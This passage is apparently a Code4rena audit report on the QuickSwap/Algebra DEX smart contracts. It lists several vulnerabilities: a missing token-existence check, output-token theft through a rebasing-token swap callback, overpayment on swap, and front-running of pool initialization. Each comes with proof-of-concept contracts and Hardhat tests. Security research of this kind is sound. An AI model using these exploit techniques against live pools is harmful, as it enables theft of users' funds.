QuickSwap and StellaSwap contest - rbserver's results

Lines of code

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/libraries/TransferHelper.sol#L16-L23 https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L589-L623

Vulnerability details

Impact

When calling the swap function below, the following safeTransfer function is further called for transferring the corresponding value of token from the pool to the recipient. Note that safeTransfer does not check for the existence of the token contract. After a pool is created, it is possible that the pool's output token becomes non-existent in the future; for example, the contract for the output token can be destroyed by calling its selfdestruct function after migrating its data to another contract for fixing some bugs. However, when this occurs, calling swap does not revert. As a result, the user, who swaps, would lose the input token amount while receiving no output token amount since the contract for the output token does not exist anymore.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/libraries/TransferHelper.sol#L16-L23

  function safeTransfer(
    address token,
    address to,
    uint256 value
  ) internal {
    (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20Minimal.transfer.selector, to, value));
    require(success && (data.length == 0 || abi.decode(data, (bool))), 'TF');
  }

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L589-L623

  function swap(
    address recipient,
    bool zeroToOne,
    int256 amountRequired,
    uint160 limitSqrtPrice,
    bytes calldata data
  ) external override returns (int256 amount0, int256 amount1) {
    uint160 currentPrice;
    int24 currentTick;
    uint128 currentLiquidity;
    uint256 communityFee;
    // function _calculateSwapAndLock locks globalState.unlocked and does not release
    (amount0, amount1, currentPrice, currentTick, currentLiquidity, communityFee) = _calculateSwapAndLock(zeroToOne, amountRequired, limitSqrtPrice);

    if (zeroToOne) {
      if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1)); // transfer to recipient

      uint256 balance0Before = balanceToken0();
      _swapCallback(amount0, amount1, data); // callback to get tokens from the caller
      require(balance0Before.add(uint256(amount0)) <= balanceToken0(), 'IIA');
    } else {
      if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0)); // transfer to recipient

      uint256 balance1Before = balanceToken1();
      _swapCallback(amount0, amount1, data); // callback to get tokens from the caller
      require(balance1Before.add(uint256(amount1)) <= balanceToken1(), 'IIA');
    }

    if (communityFee > 0) {
      _payCommunityFee(zeroToOne ? token0 : token1, communityFee);
    }

    emit Swap(msg.sender, recipient, amount0, amount1, currentPrice, currentLiquidity, currentTick);
    globalState.unlocked = true; // release after lock in _calculateSwapAndLock
  }

Proof of Concept

First, in src\core\contracts\test\, please add the following mock token contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.7.6;

import './TestERC20.sol';

contract MockERC20WithSelfdestruct is TestERC20 {
  constructor(uint256 amountToMint) TestERC20(amountToMint) {}

  function kill() external {
    selfdestruct(msg.sender);
  }
}

Then, please add the following test in the AlgebraPool describe block in src\core\test\AlgebraPool.spec.ts. This test will pass to demonstrate the described scenario.

describe('POC', () => {
    it('After a swap, user can lose input token amount while receiving no output token amount when output token becomes non-existent', async () => {
        // deploy mock ERC20 token that has selfdestruct functionality
        const MockERC20WithSelfdestructFactory = await ethers.getContractFactory('MockERC20WithSelfdestruct');
        const mockERC20WithSelfdestruct = await MockERC20WithSelfdestructFactory.deploy(constants.MaxUint256);
  
        /** set up contracts */
        const PoolDeployerFactory = await ethers.getContractFactory('AlgebraPoolDeployer');
        const poolDeployer = await PoolDeployerFactory.deploy();
  
        const FactoryFactory = await ethers.getContractFactory('AlgebraFactory');
        const factory = await FactoryFactory.deploy(poolDeployer.address, vaultAddress);
  
        const TokenFactory = await ethers.getContractFactory('TestERC20');
        const token0 = await TokenFactory.deploy(BigNumber.from(2).pow(255));
      
        const calleeContractFactory = await ethers.getContractFactory('TestAlgebraCallee');
        const swapTargetCallee = await calleeContractFactory.deploy();
  
        const MockTimeAlgebraPoolDeployerFactory = await ethers.getContractFactory('MockTimeAlgebraPoolDeployer')
        const mockTimePoolDeployer = await MockTimeAlgebraPoolDeployerFactory.deploy();
        const tx = await mockTimePoolDeployer.deployMock(
          factory.address,
          token0.address,
          mockERC20WithSelfdestruct.address
        )
        const receipt = await tx.wait()
        const poolAddress = receipt.events?.[1].args?.pool;
  
        const MockTimeAlgebraPoolFactory = await ethers.getContractFactory('MockTimeAlgebraPool');
        const pool = MockTimeAlgebraPoolFactory.attach(poolAddress);
  
        await pool.initialize(encodePriceSqrt(1, 1));
  
        await token0.approve(swapTargetCallee.address, constants.MaxUint256);
        await mockERC20WithSelfdestruct.approve(swapTargetCallee.address, constants.MaxUint256);
        await swapTargetCallee.mint(pool.address, wallet.address, minTick, maxTick, expandTo18Decimals(1));
        /** */
  
        // set up user
        const user = other;
        await token0.connect(user).mint(user.address, expandTo18Decimals(1));
        await token0.connect(user).approve(swapTargetCallee.address, constants.MaxUint256);
  
        const token0Balance1= await token0.balanceOf(user.address);
        const mockERC20WithSelfdestructBalance1 = await mockERC20WithSelfdestruct.balanceOf(user.address);
  
        await swapTargetCallee.connect(user).swapExact0For1(pool.address, expandTo18Decimals(1).div(10), user.address, MIN_SQRT_RATIO.add(1));
  
        // after the first swap, user has sent some token0 and received some mockERC20WithSelfdestruct
        const token0Balance2 = await token0.balanceOf(user.address);
        const mockERC20WithSelfdestructBalance2 = await mockERC20WithSelfdestruct.balanceOf(user.address);
        expect(token0Balance2).to.be.lt(token0Balance1);
        expect(mockERC20WithSelfdestructBalance2).to.be.gt(mockERC20WithSelfdestructBalance1);
  
        // simulate a situation in which mockERC20WithSelfdestruct is destroyed after migrating its data to another contract for fixing some bugs
        await mockERC20WithSelfdestruct.kill();
  
        // being unaware of that mockERC20WithSelfdestruct is destroyed already, user swaps again
        await swapTargetCallee.connect(user).swapExact0For1(pool.address, expandTo18Decimals(1).div(10), user.address, MIN_SQRT_RATIO.add(1));
  
        // after the second swap, user has sent more token0 but received no mockERC20WithSelfdestruct because mockERC20WithSelfdestruct does not exist anymore
        const token0Balance3 = await token0.balanceOf(user.address);
        expect(token0Balance3).to.be.lt(token0Balance2);
        try {
          await mockERC20WithSelfdestruct.balanceOf(user.address);
        } catch (error: any) {
          expect(error.toString()).to.be.eq('Error: call revert exception [ See: https://links.ethers.org/v5-errors-CALL_EXCEPTION ] (method="balanceOf(address)", errorArgs=null, errorName=null, errorSignature=null, reason=null, code=CALL_EXCEPTION, version=abi/5.6.0)');
        }
    })
})

Tools Used

VSCode

Recommended Mitigation Steps

In the safeTransfer function, the existence of the contract for token should also be checked. If such contract does not exist, calling this function should revert.

Lines of code

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L580-L586 https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L589-L623

Vulnerability details

Impact

When calling the swap function below, the following _swapCallback function is further called for calling the algebraSwapCallback function in the callee contract that is msg.sender; such contract does not have to be a shared router and can be separately implemented by the user. For a created pool, it is possible that the input token is a rebasing token that allows anybody to trigger its rebasing event. When swapping, in the callee contract that is implemented by the user, algebraSwapCallback can be executed to call another contract, which has the admin privilege for the rebasing token, to trigger the rebasing event. When the rebasing event expands the input token's total supply, calling algebraSwapCallback does not need to send enough input token to the pool, and the pool's balance of the input token, which is rebasing, can still become larger enough than its previous input token balance. Hence, calling swap will not revert in this situation, and the user can receive the corresponding output token amount even though she or he did not send enough input token amount to the pool.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L580-L586

  function _swapCallback(
    int256 amount0,
    int256 amount1,
    bytes calldata data
  ) private {
    IAlgebraSwapCallback(msg.sender).algebraSwapCallback(amount0, amount1, data);
  }

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L589-L623

  function swap(
    address recipient,
    bool zeroToOne,
    int256 amountRequired,
    uint160 limitSqrtPrice,
    bytes calldata data
  ) external override returns (int256 amount0, int256 amount1) {
    uint160 currentPrice;
    int24 currentTick;
    uint128 currentLiquidity;
    uint256 communityFee;
    // function _calculateSwapAndLock locks globalState.unlocked and does not release
    (amount0, amount1, currentPrice, currentTick, currentLiquidity, communityFee) = _calculateSwapAndLock(zeroToOne, amountRequired, limitSqrtPrice);

    if (zeroToOne) {
      if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1)); // transfer to recipient

      uint256 balance0Before = balanceToken0();
      _swapCallback(amount0, amount1, data); // callback to get tokens from the caller
      require(balance0Before.add(uint256(amount0)) <= balanceToken0(), 'IIA');
    } else {
      if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0)); // transfer to recipient

      uint256 balance1Before = balanceToken1();
      _swapCallback(amount0, amount1, data); // callback to get tokens from the caller
      require(balance1Before.add(uint256(amount1)) <= balanceToken1(), 'IIA');
    }

    if (communityFee > 0) {
      _payCommunityFee(zeroToOne ? token0 : token1, communityFee);
    }

    emit Swap(msg.sender, recipient, amount0, amount1, currentPrice, currentLiquidity, currentTick);
    globalState.unlocked = true; // release after lock in _calculateSwapAndLock
  }

Proof of Concept

First, in src\core\contracts\test\, please add the following mock token contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.7.6;

contract MockRebasingToken {
    uint256 private constant INITIAL_SUPPLY_ = 100_000_000 * 10**18;
    uint256 private constant TOTAL_ = type(uint256).max - (type(uint256).max % INITIAL_SUPPLY_);

    uint256 private _totalSupply;
    uint256 private mul_;
    mapping(address => uint256) private balance_;
    constructor() {
        _totalSupply = INITIAL_SUPPLY_;
        balance_[msg.sender] = TOTAL_;
        mul_ = TOTAL_ / _totalSupply;
    }

    function balanceOf(address _addr) public view returns (uint256) {
        return balance_[_addr] / mul_;
    }

    function transferFrom(address _from, address _to, uint256 _value) external returns (bool) {
        uint256 value_ = _value * mul_;

        balance_[_from] = balance_[_from] - value_;
        balance_[_to] = balance_[_to] + value_;

        return true;
    }

    function rebase(int256 _supplyDelta) external returns (uint256) {
        if (_supplyDelta == 0) {
            return _totalSupply;
        }

        if (_supplyDelta < 0) {
            _totalSupply = _totalSupply - uint256(_supplyDelta * (-1));
        } else {
            _totalSupply = _totalSupply + uint256(_supplyDelta);
        }

        mul_ = TOTAL_ / _totalSupply;

        return _totalSupply;
    }
}

Then, in src\core\contracts\test\, please add the following test callee contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.7.6;

import '../interfaces/IERC20Minimal.sol';
import '../libraries/SafeCast.sol';
import '../interfaces/callback/IAlgebraMintCallback.sol';
import '../interfaces/callback/IAlgebraSwapCallback.sol';
import '../interfaces/IAlgebraPool.sol';

interface IMockRebasingToken {
    function rebase(int256 _supplyDelta) external returns (uint256);
}

contract TestCalleeForRebasingToken is IAlgebraMintCallback, IAlgebraSwapCallback {
  using SafeCast for uint256;

  function swapExact0For1(
    address pool,
    uint256 amount0In,
    address recipient,
    uint160 limitSqrtPrice,
    address rebasingToken   // rebasing token's address is used as an input
  ) external {
    IAlgebraPool(pool).swap(recipient, true, amount0In.toInt256(), limitSqrtPrice, abi.encode(rebasingToken));
  }

  event SwapCallback(int256 amount0Delta, int256 amount1Delta);

  function algebraSwapCallback(
    int256 amount0Delta,
    int256 amount1Delta,
    bytes calldata data
  ) external override {
    address rebasingToken = abi.decode(data, (address));

    emit SwapCallback(amount0Delta, amount1Delta);

    // Here, this callback triggers the rebasing event for the rebasing token directly for simplicity.
    // In reality, this callback would not directly call the rebasing token's rebase function.
    // Instead, this callback would call a function in another contract, which has the admin privilege for the rebasing token, to trigger the rebasing event.
    IMockRebasingToken(rebasingToken).rebase(1_000_000 * 10**18);
  }

  event MintResult(uint256 amount0Owed, uint256 amount1Owed, uint256 resultLiquidity);

  function mint(
    address pool,
    address recipient,
    int24 bottomTick,
    int24 topTick,
    uint128 amount
  )
    external
    returns (
      uint256 amount0Owed,
      uint256 amount1Owed,
      uint256 resultLiquidity
    )
  {
    (amount0Owed, amount1Owed, resultLiquidity) = IAlgebraPool(pool).mint(msg.sender, recipient, bottomTick, topTick, amount, abi.encode(msg.sender));
    emit MintResult(amount0Owed, amount1Owed, resultLiquidity);
  }

  event MintCallback(uint256 amount0Owed, uint256 amount1Owed);

  function algebraMintCallback(
    uint256 amount0Owed,
    uint256 amount1Owed,
    bytes calldata data
  ) external override {
    address sender = abi.decode(data, (address));

    if (amount0Owed > 0) IERC20Minimal(IAlgebraPool(msg.sender).token0()).transferFrom(sender, msg.sender, amount0Owed);
    if (amount1Owed > 0) IERC20Minimal(IAlgebraPool(msg.sender).token1()).transferFrom(sender, msg.sender, amount1Owed);

    emit MintCallback(amount0Owed, amount1Owed);
  }
}

Last, please add the following test in the AlgebraPool describe block in src\core\test\AlgebraPool.spec.ts. This test will pass to demonstrate the described scenario.

describe('POC', () => {
    it('User can steal output token when input token is a rebasing token in which algebraSwapCallback can be called to expand total supply of the rebasing token', async () => {
        // deploy mock rebasing token
        const MockRebasingTokenFactory = await ethers.getContractFactory('MockRebasingToken');
        const mockRebasingToken = await MockRebasingTokenFactory.deploy();
  
        /** set up contracts */
        const PoolDeployerFactory = await ethers.getContractFactory('AlgebraPoolDeployer');
        const poolDeployer = await PoolDeployerFactory.deploy();
  
        const FactoryFactory = await ethers.getContractFactory('AlgebraFactory');
        const factory = await FactoryFactory.deploy(poolDeployer.address, vaultAddress);
  
        const TokenFactory = await ethers.getContractFactory('TestERC20');
        const token1 = await TokenFactory.deploy(BigNumber.from(2).pow(255));
      
        const calleeContractFactory = await ethers.getContractFactory('TestCalleeForRebasingToken');
        const swapTargetCallee = await calleeContractFactory.deploy();
  
        const MockTimeAlgebraPoolDeployerFactory = await ethers.getContractFactory('MockTimeAlgebraPoolDeployer')
        const mockTimePoolDeployer = await MockTimeAlgebraPoolDeployerFactory.deploy();
        const tx = await mockTimePoolDeployer.deployMock(
          factory.address,
          mockRebasingToken.address,
          token1.address
        )
        const receipt = await tx.wait()
        const poolAddress = receipt.events?.[1].args?.pool;
  
        const MockTimeAlgebraPoolFactory = await ethers.getContractFactory('MockTimeAlgebraPool');
        const pool = MockTimeAlgebraPoolFactory.attach(poolAddress);
  
        await pool.initialize(encodePriceSqrt(1, 1));
  
        await token1.approve(swapTargetCallee.address, constants.MaxUint256);
        await swapTargetCallee.mint(pool.address, wallet.address, minTick, maxTick, expandTo18Decimals(1));
        /** */
  
        const user = other;
  
        // user has no mockRebasingToken or token1 at this moment
        expect(await mockRebasingToken.balanceOf(user.address)).to.be.eq(0);
        expect(await token1.balanceOf(user.address)).to.be.eq(0);
  
        const mockRebasingTokenBalancePoolBefore = await mockRebasingToken.balanceOf(pool.address);
        const token1BalancePoolBefore = await token1.balanceOf(pool.address);
  
        // When swapping, the algebraSwapCallback function implemented by user is called to trigger the rebasing event for mockRebasingToken.
        // The TestCalleeForRebasingToken contract's algebraSwapCallback simulates a rebasing event that expands mockRebasingToken's total supply.
        await swapTargetCallee.connect(user).swapExact0For1(pool.address, expandTo18Decimals(1).div(100), user.address, MIN_SQRT_RATIO.add(1), mockRebasingToken.address);
  
        // user still owns no mockRebasingToken but has received some token1 for free
        expect(await mockRebasingToken.balanceOf(user.address)).to.be.eq(0);
        expect(await token1.balanceOf(user.address)).to.be.gt(0);
  
        // the pool's mockRebasingToken balance is higher as a result of the rebasing event
        const mockRebasingTokenBalancePoolAfter = await mockRebasingToken.balanceOf(pool.address);
        expect(mockRebasingTokenBalancePoolAfter).to.be.gt(mockRebasingTokenBalancePoolBefore);
  
        // however, the pool's token1 balance has dropped
        const token1BalancePoolAfter = await token1.balanceOf(pool.address);
        expect(token1BalancePoolAfter).to.be.lt(token1BalancePoolBefore);
    })
})

Tools Used

VSCode

Recommended Mitigation Steps

Like some other protocols, this protocol does not have to support rebasing tokens and can use a blocklist to block the usage of these tokens but does need to clearly communicate about this with the users.

Lines of code

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L580-L586 https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L589-L623

Vulnerability details

Impact

When calling the swap function below, the following _swapCallback function is further called for calling the algebraSwapCallback function in the callee contract, which is msg.sender; such contract could be implemented by a third party especially for non-technical users. There is no guarantee that such contract will not send more input token amount than required to the pool. When this happens, the output token amount corresponding to the extra input token amount will not be transferred from the pool to the recipient after the swap. As a result, the user sends extra input token amount to the pool but does not receive any output token amount corresponding to the extra input token amount. Disputes between the user and protocol can occur because of this.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L580-L586

  function _swapCallback(
    int256 amount0,
    int256 amount1,
    bytes calldata data
  ) private {
    IAlgebraSwapCallback(msg.sender).algebraSwapCallback(amount0, amount1, data);
  }

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L589-L623

  function swap(
    address recipient,
    bool zeroToOne,
    int256 amountRequired,
    uint160 limitSqrtPrice,
    bytes calldata data
  ) external override returns (int256 amount0, int256 amount1) {
    uint160 currentPrice;
    int24 currentTick;
    uint128 currentLiquidity;
    uint256 communityFee;
    // function _calculateSwapAndLock locks globalState.unlocked and does not release
    (amount0, amount1, currentPrice, currentTick, currentLiquidity, communityFee) = _calculateSwapAndLock(zeroToOne, amountRequired, limitSqrtPrice);

    if (zeroToOne) {
      if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1)); // transfer to recipient

      uint256 balance0Before = balanceToken0();
      _swapCallback(amount0, amount1, data); // callback to get tokens from the caller
      require(balance0Before.add(uint256(amount0)) <= balanceToken0(), 'IIA');
    } else {
      if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0)); // transfer to recipient

      uint256 balance1Before = balanceToken1();
      _swapCallback(amount0, amount1, data); // callback to get tokens from the caller
      require(balance1Before.add(uint256(amount1)) <= balanceToken1(), 'IIA');
    }

    if (communityFee > 0) {
      _payCommunityFee(zeroToOne ? token0 : token1, communityFee);
    }

    emit Swap(msg.sender, recipient, amount0, amount1, currentPrice, currentLiquidity, currentTick);
    globalState.unlocked = true; // release after lock in _calculateSwapAndLock
  }

Proof of Concept

First, in src\core\contracts\test\, please add the following test callee contract.

// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.7.6;

import '../interfaces/IERC20Minimal.sol';
import '../libraries/SafeCast.sol';
import '../interfaces/callback/IAlgebraMintCallback.sol';
import '../interfaces/callback/IAlgebraSwapCallback.sol';
import '../interfaces/IAlgebraPool.sol';

contract TestCalleeForSendingExtraTokenAmount is IAlgebraMintCallback, IAlgebraSwapCallback {
  using SafeCast for uint256;

  function swapExact0For1(
    address pool,
    uint256 amount0In,
    address recipient,
    uint160 limitSqrtPrice
  ) external {
    IAlgebraPool(pool).swap(recipient, true, amount0In.toInt256(), limitSqrtPrice, abi.encode(msg.sender));
  }

  event SwapCallback(int256 amount0Delta, int256 amount1Delta);

  function algebraSwapCallback(
    int256 amount0Delta,
    int256 amount1Delta,
    bytes calldata data
  ) external override {
    address sender = abi.decode(data, (address));

    emit SwapCallback(amount0Delta, amount1Delta);

    // simulate a situation where extra token amount is sent to the pool
    if (amount0Delta > 0) {
      IERC20Minimal(IAlgebraPool(msg.sender).token0()).transferFrom(sender, msg.sender, uint256(amount0Delta) + 1e9);
    } else if (amount1Delta > 0) {
      IERC20Minimal(IAlgebraPool(msg.sender).token1()).transferFrom(sender, msg.sender, uint256(amount1Delta) + 1e9);
    } else {
      assert(amount0Delta == 0 && amount1Delta == 0);
    }
  }

  event MintResult(uint256 amount0Owed, uint256 amount1Owed, uint256 resultLiquidity);

  function mint(
    address pool,
    address recipient,
    int24 bottomTick,
    int24 topTick,
    uint128 amount
  )
    external
    returns (
      uint256 amount0Owed,
      uint256 amount1Owed,
      uint256 resultLiquidity
    )
  {
    (amount0Owed, amount1Owed, resultLiquidity) = IAlgebraPool(pool).mint(msg.sender, recipient, bottomTick, topTick, amount, abi.encode(msg.sender));
    emit MintResult(amount0Owed, amount1Owed, resultLiquidity);
  }

  event MintCallback(uint256 amount0Owed, uint256 amount1Owed);

  function algebraMintCallback(
    uint256 amount0Owed,
    uint256 amount1Owed,
    bytes calldata data
  ) external override {
    address sender = abi.decode(data, (address));

    if (amount0Owed > 0) IERC20Minimal(IAlgebraPool(msg.sender).token0()).transferFrom(sender, msg.sender, amount0Owed);
    if (amount1Owed > 0) IERC20Minimal(IAlgebraPool(msg.sender).token1()).transferFrom(sender, msg.sender, amount1Owed);

    emit MintCallback(amount0Owed, amount1Owed);
  }
}

Then, please add the following test in the AlgebraPool describe block in src\core\test\AlgebraPool.spec.ts. This test will pass to demonstrate the described scenario.

describe('POC', () => {
    it('It is possible that, after swapping, extra input token amount is transferred from user to pool but pool does not give user output token amount that corresponds to the extra input token amount', async () => {
        /** set up contracts */
        const PoolDeployerFactory = await ethers.getContractFactory('AlgebraPoolDeployer');
        const poolDeployer = await PoolDeployerFactory.deploy();
  
        const FactoryFactory = await ethers.getContractFactory('AlgebraFactory');
        const factory = await FactoryFactory.deploy(poolDeployer.address, vaultAddress);
  
        const TokenFactory = await ethers.getContractFactory('TestERC20');
        const token0 = await TokenFactory.deploy(BigNumber.from(2).pow(255));
        const token1 = await TokenFactory.deploy(BigNumber.from(2).pow(255));
      
        const calleeContractFactory = await ethers.getContractFactory('TestCalleeForSendingExtraTokenAmount');
        const swapTargetCallee = await calleeContractFactory.deploy();
  
        const MockTimeAlgebraPoolDeployerFactory = await ethers.getContractFactory('MockTimeAlgebraPoolDeployer')
        const mockTimePoolDeployer = await MockTimeAlgebraPoolDeployerFactory.deploy();
        const tx = await mockTimePoolDeployer.deployMock(
          factory.address,
          token0.address,
          token1.address
        )
        const receipt = await tx.wait()
        const poolAddress = receipt.events?.[1].args?.pool;
  
        const MockTimeAlgebraPoolFactory = await ethers.getContractFactory('MockTimeAlgebraPool');
        const pool = MockTimeAlgebraPoolFactory.attach(poolAddress);
  
        await pool.initialize(encodePriceSqrt(1, 1));
  
        await token0.approve(swapTargetCallee.address, constants.MaxUint256);
        await token1.approve(swapTargetCallee.address, constants.MaxUint256);
        await swapTargetCallee.mint(pool.address, wallet.address, minTick, maxTick, expandTo18Decimals(1));
        /** */
  
        // set up user
        const user = other;
        await token0.connect(user).mint(user.address, expandTo18Decimals(1));
        await token0.connect(user).approve(swapTargetCallee.address, constants.MaxUint256);
  
        const token0BalancePoolBefore = await token0.balanceOf(pool.address);
        const token0BalanceUserBefore = await token0.balanceOf(user.address);
  
        const token1BalancePoolBefore = await token1.balanceOf(pool.address);
        const token1BalanceUserBefore = await token1.balanceOf(user.address);
  
        // amountIn and amountOut are the expected token amounts to be in and out after the upcoming swap
        const amountIn = expandTo18Decimals(1).div(1000000000);
        const amountOut = -999899999;
  
        await expect(
          // the TestCalleeForSendingExtraTokenAmount contract's algebraSwapCallback function simulates a situation where extra token0 amount is transferred from user to pool
          swapTargetCallee.connect(user).swapExact0For1(pool.address, amountIn, user.address, MIN_SQRT_RATIO.add(1))
        ).to.be.emit(swapTargetCallee, 'SwapCallback').withArgs(amountIn, amountOut);
  
        // after the swap, pool has received the extra token0 amount that was transferred from user
        const token0BalancePoolAfter = await token0.balanceOf(pool.address);
        const token0BalanceUserAfter = await token0.balanceOf(user.address);
        expect(token0BalancePoolAfter).to.be.gt(token0BalancePoolBefore.add(amountIn));
        expect(token0BalanceUserAfter).to.be.lt(token0BalanceUserBefore.sub(amountIn));
  
        // yet, pool does not give user the token1 amount that corresponds to the extra token0 amount
        const token1BalancePoolAfter = await token1.balanceOf(pool.address);
        const token1BalanceUserAfter = await token1.balanceOf(user.address);
        expect(token1BalancePoolAfter).to.be.eq(token1BalancePoolBefore.add(amountOut));
        expect(token1BalanceUserAfter).to.be.eq(token1BalanceUserBefore.sub(amountOut));
    })
})

Tools Used

VSCode

Recommended Mitigation Steps

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L608 can be updated to the following code.

      require(balance0Before.add(uint256(amount0)) == balanceToken0(), 'IIA');

Also, https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L614 can be updated to the following code.

      require(balance1Before.add(uint256(amount1)) == balanceToken1(), 'IIA');

Lines of code

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L193-L206

Vulnerability details

Impact

Calling the following initialize function sets the initial price for the pool. Setting the initial price to be similar to the current market price would encourage users to use the pool. Yet, the initialize transaction is vulnerable to front-running. For example, after an initialize transaction is sent for setting the pool's initial price to match the current market price, someone, who is malicious, notices such transaction in the mempool and would front-run it by providing a higher gas fee for her or his own initialize transaction, which sets the initial price to a value that deviates quite a lot from the current market price. After the front-running, the original initialize transaction reverts due to require(globalState.price == 0, 'AI'); similarly, all future initialize function calls also revert. Since the initial price for the pool cannot be changed to a sensible value anymore, users will tend to not interact with this pool, which makes it useless.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L193-L206

  function initialize(uint160 initialPrice) external override {
    require(globalState.price == 0, 'AI');
    // getTickAtSqrtRatio checks validity of initialPrice inside
    int24 tick = TickMath.getTickAtSqrtRatio(initialPrice);

    uint32 timestamp = _blockTimestamp();
    IDataStorageOperator(dataStorageOperator).initialize(timestamp, tick);

    globalState.price = initialPrice;
    globalState.unlocked = true;
    globalState.tick = tick;

    emit Initialize(initialPrice, tick);
  }

Proof of Concept

Please add the following test in the AlgebraPool describe block in src\core\test\AlgebraPool.spec.ts. This test will pass to demonstrate the described scenario.

describe('POC', () => {
    it("Anyone who is malicious can front-run initialize transaction to set pool's initial price to a value that deviates quite a lot from market price, which discourages users from using the pool and makes the pool useless", async () => {
        const PoolDeployerFactory = await ethers.getContractFactory('AlgebraPoolDeployer');
        const poolDeployer = await PoolDeployerFactory.deploy();
  
        const FactoryFactory = await ethers.getContractFactory('AlgebraFactory');
        const factory = await FactoryFactory.deploy(poolDeployer.address, vaultAddress);
  
        const TokenFactory = await ethers.getContractFactory('TestERC20');
        const token0 = await TokenFactory.deploy(BigNumber.from(2).pow(255));
        const token1 = await TokenFactory.deploy(BigNumber.from(2).pow(255));
  
        const MockTimeAlgebraPoolDeployerFactory = await ethers.getContractFactory('MockTimeAlgebraPoolDeployer')
        const mockTimePoolDeployer = await MockTimeAlgebraPoolDeployerFactory.deploy();
        const tx = await mockTimePoolDeployer.deployMock(
          factory.address,
          token0.address,
          token1.address
        )
        const receipt = await tx.wait()
        const poolAddress = receipt.events?.[1].args?.pool;
  
        const MockTimeAlgebraPoolFactory = await ethers.getContractFactory('MockTimeAlgebraPool');
        const pool = MockTimeAlgebraPoolFactory.attach(poolAddress);
  
        // As the current market price is 1:1, an initialize transaction is sent for setting that initial price for the pool.
        // However, someone malicious notices that transaction in the mempool and would front-run that transaction by providing a higher gas fee for her or his own initialize transaction,
        // which sets the initial price to a value that deviates quite a lot from the current market price.
        await pool.connect(other).initialize(encodePriceSqrt(expandTo18Decimals(1), 1));
  
        // After the front-running, the original initialize transaction and future initialize function calls will all revert.
        // Because the initial price cannot be changed to a sensible value anymore, no one will interact with this pool, which makes it useless.
        await expect(
          pool.initialize(encodePriceSqrt(1, 1))
        ).to.be.revertedWith('AI')
    })
})

Tools Used

VSCode

Recommended Mitigation Steps

Instead of relying on the initialize function for setting the initial price for the pool, the AlgebraPool contract's constructor can be updated to handle the same task.

[L-01] AlgebraFactory CONTRACT'S owner CAN BE SET TO WRONG ADDRESS

When the following setOwner function in the AlgebraFactory contract is called, require(owner != _owner) is executed. However, this does not prevent setting owner to a wrong address. To avoid locking owner, a two-step procedure for transferring the AlgebraFactory contract's ownership can be used instead of directly setting owner through calling setOwner.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraFactory.sol#L77-L81

  function setOwner(address _owner) external override onlyOwner {
    require(owner != _owner);
    emit Owner(_owner);
    owner = _owner;
  }

[L-02] CALLING flash FUNCTION WITH amount0 AND amount1 INPUTS BOTH BEING 0 FOR MANY TIMES CAN CAUSE EVENT LOG POISONING

An attacker can call the following flash function with the amount0 and amount1 inputs both being 0 for many times to emit useless Flash events. This causes event log poisoning in which the potential monitor systems that consume the Flash event can be confused and spammed. To prevent this issue, please consider requiring that amount0 and amount1 cannot all equal 0 in this function before executing the current function body code.

https://github.com/code-423n4/2022-09-quickswap/blob/main/src/core/contracts/AlgebraPool.sol#L891-L949

  function flash(
    address recipient,
    uint256 amount0,
    uint256 amount1,
    bytes calldata data
  ) external override lock {
    uint128 _liquidity = liquidity;
    require(_liquidity > 0, 'L');

    uint16 _fee = globalState.fee;

    uint256 fee0;
    uint256 balance0Before = balanceToken0();
    if (amount0 > 0) {
      fee0 = FullMath.mulDivRoundingUp(amount0, _fee, 1e6);
      TransferHelper.safeTransfer(token0, recipient, amount0);
    }

    uint256 fee1;
    uint256 balance1Before = balanceToken1();
    if (amount1 > 0) {
      fee1 = FullMath.mulDivRoundingUp(amount1, _fee, 1e6);
      TransferHelper.safeTransfer(token1, recipient, amount1);
    }

    IAlgebraFlashCallback(msg.sender).algebraFlashCallback(fee0, fee1, data);

    address vault = IAlgebraFactory(factory).vaultAddress();

    uint256 paid0 = balanceToken0();
    require(balance0Before.add(fee0) <= paid0, 'F0');
    paid0 -= balance0Before;

    if (paid0 > 0) {
      uint8 _communityFeeToken0 = globalState.communityFeeToken0;
      uint256 fees0;
      if (_communityFeeToken0 > 0) {
        fees0 = (paid0 * _communityFeeToken0) / Constants.COMMUNITY_FEE_DENOMINATOR;
        TransferHelper.safeTransfer(token0, vault, fees0);
      }
      totalFeeGrowth0Token += FullMath.mulDiv(paid0 - fees0, Constants.Q128, _liquidity);
    }

    uint256 paid1 = balanceToken1();
    require(balance1Before.add(fee1) <= paid1, 'F1');
    paid1 -= balance1Before;

